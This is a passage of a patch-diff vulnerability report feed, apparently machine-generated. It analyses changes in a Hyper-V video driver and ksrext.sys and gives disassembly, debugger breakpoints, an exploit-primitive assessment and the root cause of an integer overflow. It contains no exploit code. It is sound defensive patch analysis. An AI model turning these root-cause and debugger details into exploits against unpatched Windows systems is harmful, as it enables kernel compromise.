&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00074EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007500&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_98&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;later&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D02&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D0F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D17&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D1D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeInitializeEvent&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D37&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D43&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D4E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;EC080h&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoBuildDeviceIoControlRequest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The disassembly's frame reference is &lt;code&gt;rbp+0x250&lt;/code&gt;, so &lt;code&gt;InputBuffer = [rbp+0x1b0]&lt;/code&gt; and &lt;code&gt;var_98 = [rbp+0x1b8]&lt;/code&gt; — the two qwords of the 16-byte buffer. Both are zeroed at 0x1C00074EC / 0x1C0007500 before the field writes. The unpatched build likewise writes both dwords of its 8-byte buffer. The stack frame grows &lt;code&gt;0x310 → 0x320&lt;/code&gt; (&lt;code&gt;lea rbp,[rsp-0x210] → [rsp-0x220]&lt;/code&gt;) to hold the wider buffer. No byte declared as input is left uninitialized in either build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding A — &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The two callers are &lt;code&gt;HvdDdiSystemDisplayWrite&lt;/code&gt; (0x1C0001490) and &lt;code&gt;CrashHvdInitialize&lt;/code&gt; (0x1C0001764). &lt;code&gt;DxgkDdiSystemDisplayWrite&lt;/code&gt; is invoked by the OS to paint the screen during a bugcheck, so this path is exercised on the guest crash/bugcheck display flow, not by ordinary window/mouse activity.&lt;/li&gt;
&lt;li&gt;When reached, the function passes the &lt;code&gt;[rsp+0x30]&lt;/code&gt; slot on each of up to 20000 retry iterations.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1C0001913&lt;/code&gt; (unpatched) the slot &lt;code&gt;[rsp+0x30]&lt;/code&gt; holds whatever residual stack data preceded the call; in the patched build (call at &lt;code&gt;0x1C0001917&lt;/code&gt;) it is 0.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding B — &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0)&lt;/h3&gt;
&lt;p&gt;The IOCTL path is reached during adapter start after the version gate (&lt;code&gt;cmp edx, 0x30004&lt;/code&gt;), successful channel creation (&lt;code&gt;SynthVidCreate&lt;/code&gt;, 0x1C000984C), version query (&lt;code&gt;SynthVidRequestResolutions&lt;/code&gt;, 0x1C0009CD0), mode negotiation, and a successful &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; for the 0x20-byte output buffer. Once reached, the IOCTL is issued with &lt;code&gt;InputBufferLength = 8&lt;/code&gt; (unpatched) or &lt;code&gt;0x10&lt;/code&gt; (patched). No uninitialized data is transmitted in either case, so there is no security-relevant trigger.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive Assessment&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;Primitive&lt;/th&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A (&lt;code&gt;CrashHvdSendMessage&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Initialization of a previously-unwritten 32-bit outgoing argument slot&lt;/td&gt;
&lt;td&gt;Guest → Host (VMBus), if consumed&lt;/td&gt;
&lt;td&gt;At most 4 bytes; disclosure only occurs if the external callee reads a 7th parameter — unconfirmed from this module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B (&lt;code&gt;HvdDdiStartDevice&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;Both builds send fully-initialized input; no leak&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Context&lt;/h3&gt;
&lt;p&gt;Finding A is a data-initialization change on the guest bugcheck-display path. It is a read-only condition at most (no write, no UAF, no type confusion). Confirming whether it discloses any kernel data would require the parameter contract of the VMBus channel-send function pointer, which lives in the VMBus channel library and is not present in these binaries. Absent that, the impact cannot be raised above a Low, unconfirmed guest-to-host disclosure of up to four bytes.&lt;/p&gt;
&lt;p&gt;Finding B carries no disclosure primitive: the receiver reads exactly &lt;code&gt;InputBufferLength&lt;/code&gt; bytes, and those bytes are fully initialized in both builds.&lt;/p&gt;
&lt;h3&gt;Mitigations&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CFG&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The send is dispatched through &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;; the change is to argument data, not to control flow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stack / pool zeroing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not the mechanism here; the fix is an explicit per-argument initialization&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Playbook&lt;/h2&gt;
&lt;p&gt;Addresses below are module-relative offsets into the respective binary.&lt;/p&gt;
&lt;h3&gt;Finding A — &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;; Function entry
bp hypervideo_unpatched!CrashHvdSendMessage        ; 0x1c00018b0

; Indirect dispatch (unpatched call site)
bp &amp;lt;module_base&amp;gt;+0x1913                            ; call __guard_dispatch_icall_fptr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At the dispatch site inspect the 7th-argument slot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd @rsp+0x30 l1
; Unpatched: residual stack contents (value depends on prior stack use)
; Patched (call at +0x1917): 0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notes:
- The channel object is at &lt;code&gt;[device_context+0x270]&lt;/code&gt;; the callee pointer is &lt;code&gt;[channel+0x10]&lt;/code&gt;, dispatched via &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;.
- The retry loop counts down from &lt;code&gt;0x4E20&lt;/code&gt; with 50 µs stalls (&lt;code&gt;KeStallExecutionProcessor&lt;/code&gt;).
- Whether &lt;code&gt;[rsp+0x30]&lt;/code&gt; is read depends on the external callee's parameter count, which is not determinable from this driver.&lt;/p&gt;
&lt;h3&gt;Finding B — &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp hypervideo_unpatched!HvdDdiStartDevice          ; 0x1c00074b0
bp &amp;lt;module_base&amp;gt;+0x7d54                            ; call IoBuildDeviceIoControlRequest (unpatched)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At the IOCTL call site:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;r r9        ; InputBufferLength = 8 (unpatched) / 0x10 (patched)
db @r8 l10  ; unpatched: 06 00 00 00 06 00 00 00 (8 valid bytes; length declared as 8)
            ; patched:   06 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 (16 valid bytes)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Both builds present only initialized input up to the declared &lt;code&gt;InputBufferLength&lt;/code&gt;; there is nothing uninitialized to observe.&lt;/p&gt;
&lt;p&gt;IOCTL &lt;code&gt;0x3EC080&lt;/code&gt; decomposition: device type &lt;code&gt;0x3E&lt;/code&gt;, function &lt;code&gt;0x20&lt;/code&gt;, method &lt;code&gt;METHOD_BUFFERED&lt;/code&gt; (&lt;code&gt;0&lt;/code&gt;), access &lt;code&gt;FILE_READ_DATA | FILE_WRITE_DATA&lt;/code&gt; (&lt;code&gt;3&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0) — VMBus channel packet send&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Similarity:&lt;/strong&gt; 0.9859&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change type:&lt;/strong&gt; Security-relevant (Low)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What changed:&lt;/strong&gt; A &lt;code&gt;mov [rsp+0x30], ebx&lt;/code&gt; (arg7 = 0) is inserted at 0x1C0001906, and the &lt;code&gt;ebp&lt;/code&gt; (arg5) store is rescheduled after the &lt;code&gt;lea edx,[r8+1]&lt;/code&gt;. Loop-epilogue labels shift by 4 bytes as a consequence. The unpatched build set up six outgoing arguments and left &lt;code&gt;[rsp+0x30]&lt;/code&gt; unwritten; the patched build sets up seven, initializing the added slot to 0. Whether the callee consumes that slot — and therefore whether any kernel data was previously disclosed — is not determinable from this module.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0) — Display adapter start&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Similarity:&lt;/strong&gt; 0.9919&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change type:&lt;/strong&gt; Not security-relevant (functional / protocol)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What changed:&lt;/strong&gt; The SynthVid IOCTL &lt;code&gt;0x3EC080&lt;/code&gt; input grew from an 8-byte buffer &lt;code&gt;{6, 6}&lt;/code&gt; (&lt;code&gt;InputBufferLength = 8&lt;/code&gt;) to a 16-byte buffer &lt;code&gt;{6, 6, 0, 0}&lt;/code&gt; (&lt;code&gt;InputBufferLength = 0x10&lt;/code&gt;). The stack frame grows &lt;code&gt;0x310 → 0x320&lt;/code&gt;, the buffer moves to &lt;code&gt;[rbp+0x1b0]&lt;/code&gt;, and its two qwords are zero-initialized at 0x1C00074EC / 0x1C0007500. Both builds fully initialize the bytes they declare as input, so no uninitialized memory is transmitted in either direction. Neighboring call targets shift only because the frame grew; those are relocations, not behavioral changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed. Both builds contain 71 functions. The patch consists of in-place modifications to two existing functions; no security-check routine or sanitizer is introduced or removed. An independent content-normalized diff of the two disassemblies confirmed that all instruction-level differences fall inside these two functions only.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;h3&gt;Confidence&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding A:&lt;/strong&gt; the mechanical change (added &lt;code&gt;mov [rsp+0x30], 0&lt;/code&gt; before the indirect dispatch) is unambiguous and the direction is correct (the patched build is stricter). The &lt;strong&gt;security significance&lt;/strong&gt; is Low-confidence: it depends on the parameter contract of an external VMBus-library function reached through a function-pointer table, which is not present in these binaries. The finding is therefore reported as a genuine CWE-908 initialization fix with an unconfirmed disclosure impact of at most four bytes on the bugcheck-display path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding B:&lt;/strong&gt; high confidence that this is &lt;strong&gt;not&lt;/strong&gt; a security fix. Both builds fully initialize every byte declared as IOCTL input; the change is a message-length extension from 8 to 16 bytes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Caveats&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The callee behind &lt;code&gt;[channel+0x10]&lt;/code&gt; in &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; is dispatched indirectly and defined outside this module; its true parameter count (and thus whether &lt;code&gt;[rsp+0x30]&lt;/code&gt; is read) cannot be verified here.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HvdDdiSystemDisplayWrite&lt;/code&gt; corresponds to the bugcheck-time display-write callback, so Finding A's path is the guest crash-display flow rather than ordinary rendering.&lt;/li&gt;
&lt;li&gt;For Finding B, the host reads exactly &lt;code&gt;InputBufferLength&lt;/code&gt; bytes under METHOD_BUFFERED; the larger &lt;code&gt;SystemBuffer&lt;/code&gt; scratch (up to &lt;code&gt;OutputBufferLength&lt;/code&gt;) is the receiver's own memory and is not attacker-visible guest input.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>ksrext.sys — Integer overflow in soft-reboot partition-restore allocation (CWE-190) removed and restore error path hardened to fail-fast; fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ksrext_09c01e1d-ksrext-report-20260629-004612.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/ksrext_09c01e1d-ksrext-report-20260629-004612.html</id><summary type="html">&lt;p&gt;KB5094128&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;ksrext_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;ksrext_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.6282&lt;/code&gt; (62.82%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 166&lt;/li&gt;
&lt;li&gt;Changed Functions: 82&lt;/li&gt;
&lt;li&gt;Identical Functions: 84&lt;/li&gt;
&lt;li&gt;Unmatched (Unpatched/Patched): 0 / 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch rearchitects the persisted-memory partition-restore path. Two changes are security-relevant: (1) the unpatched combined allocation in &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; sizes a kernel pool buffer from a 32-bit-truncated sum of two entry counts while subsequent writes use the full 64-bit counts (integer overflow, CWE-190/CWE-122), and the patch removes that combined allocation entirely; (2) the unpatched &lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt; continues execution after a partition restore fails and mutates the internal page database, whereas the patch replaces that recovery path with a &lt;code&gt;KeBugCheckEx&lt;/code&gt; fail-fast. The remaining diffs previously described here as a use-after-free and a TOCTOU/overflow are not substantiated by the binaries and are downgraded below. Both security-relevant changes require control of kernel soft-reboot persisted-memory metadata, an in-memory state carried across a warm reboot rather than an attacker-writable disk file, so practical reachability is limited.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Integer Overflow in Combined Allocation (removed by patch)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Overflow / Heap Overflow (CWE-190 / CWE-122)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; (unpatched &lt;code&gt;0x1C000B160&lt;/code&gt;, patched &lt;code&gt;0x14000DFF0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched function loads two 32-bit entry counts and adds them with a 32-bit &lt;code&gt;lea edi, [r15+r12]&lt;/code&gt;, truncating the sum to 32 bits. The zero-extended sum is scaled by 8 and added to the metadata size to form the &lt;code&gt;ExAllocatePool2&lt;/code&gt; size. The subsequent element copies compute their destination offsets from the full 64-bit counts (&lt;code&gt;[rax+r12*8]&lt;/code&gt;, &lt;code&gt;[rcx+r15*8]&lt;/code&gt;). If the two counts sum to more than &lt;code&gt;0xFFFFFFFF&lt;/code&gt;, the allocation wraps to a small value while the copies write at the true, unwrapped offsets, overflowing the pool buffer. The patched build removes this combined count-based allocation: it allocates only the metadata block and processes the persisted pages through an MDL list (&lt;code&gt;MmMapLockedPagesSpecifyCache&lt;/code&gt; + &lt;code&gt;KsrDbAddBadPageRanges&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; The counts are produced by &lt;code&gt;KsrPdRetrieveMemoryRegion&lt;/code&gt; over kernel soft-reboot persisted memory. To make the truncated sum wrap, &lt;code&gt;count1 + count2&lt;/code&gt; must exceed &lt;code&gt;0xFFFFFFFF&lt;/code&gt; (about four billion 8-byte entries, roughly 32 GB of entry data describing on the order of terabytes of physical memory). This is not a demonstrably reachable primitive on realistic systems, and the persisted-memory metadata is not an ordinary attacker-writable surface. The change is a genuine removal of overflow-prone arithmetic; the demonstrable impact is low.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Continued Execution on Restore Failure (replaced by fail-fast bugcheck)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use of Inconsistent State on Error Path (CWE-758)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt; (unpatched &lt;code&gt;0x1C000BCB0&lt;/code&gt;, patched &lt;code&gt;0x14000E830&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; When &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; returns a negative status, the unpatched worker does not stop. It increments a global counter and walks the internal page database &lt;code&gt;KsrpPdDatabase&lt;/code&gt; linked list, and for every entry whose partition id matches the failed partition it decrements a global counter (&lt;code&gt;dec dword ptr [rax+24h]&lt;/code&gt; or &lt;code&gt;dec qword ptr [rax+28h]&lt;/code&gt;) and zeroes the entry. After a partition that was partially restored before failing, these internal structures can be in a partly-initialized state, so this rollback runs over possibly-inconsistent bookkeeping. The patch removes this recovery entirely and calls &lt;code&gt;KeBugCheckEx(0x70, 0x211, status, descriptor, ...)&lt;/code&gt; immediately on failure.&lt;/li&gt;
